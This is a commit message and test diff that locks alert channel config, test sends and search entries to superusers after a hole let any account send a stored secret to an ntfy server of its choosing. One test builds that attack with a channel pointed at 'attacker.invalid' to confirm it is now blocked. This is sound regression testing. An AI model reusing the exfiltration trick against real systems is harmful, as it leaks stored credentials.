Alerts: configuration, test and search entries are a superuser's; subscribing a browser stays open

Any signed-in account could save an ntfy channel with its own `server` and a
`{"$secret": ...}` token and press Test, which sent the stored secret to that
host. The config GET/PUT, the test route and the global search's alert entries
now answer to superusers, like /secrets. The webpush key and subscribe routes
stay open to every account, and the Alerts page shows a non-superuser only the
button for its own browser. The events table in the docs gains run_finished.

backend/tests/api/routes/test_alerts.py

@@ -64,3 +64,79 @@ def test_an_unknown_channel_is_a_404(
     response = client.post(f"{PREFIX}/test/nowhere", headers=superuser_token_headers)
 
     assert response.status_code == 404
+
+
+def test_an_ordinary_account_cannot_read_or_change_the_alert_setup(
+    client: TestClient, normal_user_token_headers: dict[str, str]
+) -> None:
+    """Channels hold credential references, topics and urls: a superuser's."""
+    config = {"channels": [], "rules": []}
+
+    assert (
+        client.get(f"{PREFIX}/config", headers=normal_user_token_headers).status_code
+        == 403
+    )
+    assert (
+        client.put(
+            f"{PREFIX}/config", headers=normal_user_token_headers, json=config
+        ).status_code
+        == 403
+    )
+    assert (
+        client.post(
+            f"{PREFIX}/test/phone", headers=normal_user_token_headers
+        ).status_code
+        == 403
+    )
+
+
+def test_a_stored_secret_cannot_be_pointed_at_a_host_an_ordinary_account_chose(
+    client: TestClient,
+    superuser_token_headers: dict[str, str],
+    normal_user_token_headers: dict[str, str],
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """An ntfy `server` plus a `$secret` token used to send the secret there."""
+    import httpx
+
+    client.put(
+        f"{settings.API_V1_STR}/secrets/vault-token",
+        headers=superuser_token_headers,
+        json={"value": "S3CRET"},
+    )
+    reached: list[str] = []
+
+    async def post(_self: Any, url: Any, **_kwargs: Any) -> httpx.Response:
+        reached.append(str(url))
+        return httpx.Response(200, request=httpx.Request("POST", url))
+
+    monkeypatch.setattr(httpx.AsyncClient, "post", post)
+    config = {
+        "channels": [
+            {
+                "name": "x",
+                "kind": "ntfy",
+                "config": {
+                    "server": "http://attacker.invalid",
+                    "topic": "t",
+                    "token": {"$secret": "vault-token"},
+                },
+            }
+        ],
+        "rules": [],
+    }
+
+    client.put(f"{PREFIX}/config", headers=normal_user_token_headers, json=config)
+    client.post(f"{PREFIX}/test/x", headers=normal_user_token_headers)
+
+    assert reached == []
+
+
+def test_any_account_can_subscribe_its_own_browser(
+    client: TestClient, normal_user_token_headers: dict[str, str]
+) -> None:
+    """Where this device can be reached is not a superuser's to hold."""
+    response = client.get(f"{PREFIX}/webpush/key", headers=normal_user_token_headers)
+
+    assert response.status_code == 200
+    assert response.json()["key"]

backend/tests/api/routes/test_search.py

@@ -2,6 +2,7 @@
 
 from typing import Any
 
+import pytest
 from fastapi.testclient import TestClient
 
 from fluksio.api.routes.search import MASK, setting_text
@@ -190,3 +191,24 @@ def test_index_lists_a_nodes_settings(
     assert found["hook.secret"]["detail"] == "secret"
     assert "hook_secret" not in text
     assert "s3cr3t-value" not in text
+
+
+def test_alert_channels_are_named_only_to_a_superuser(
+    client: TestClient,
+    superuser_token_headers: dict[str, str],
+    normal_user_token_headers: dict[str, str],
+    tmp_path: Any,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    from fluksio.api.routes.alerts import write_config
+    from fluksio.flow.alerts import AlertsConfig, Channel
+
+    monkeypatch.setattr(settings, "ALERTS_FILE", tmp_path / "alerts.json")
+    write_config(AlertsConfig(channels=[Channel(name="phone", kind="ntfy")]))
+
+    def channels(headers: dict[str, str]) -> set[str]:
+        entries = client.get(f"{PREFIX}/", headers=headers).json()
+        return {e["name"] for e in entries if e["category"] == "alert"}
+
+    assert channels(superuser_token_headers) == {"phone"}
+    assert channels(normal_user_token_headers) == set()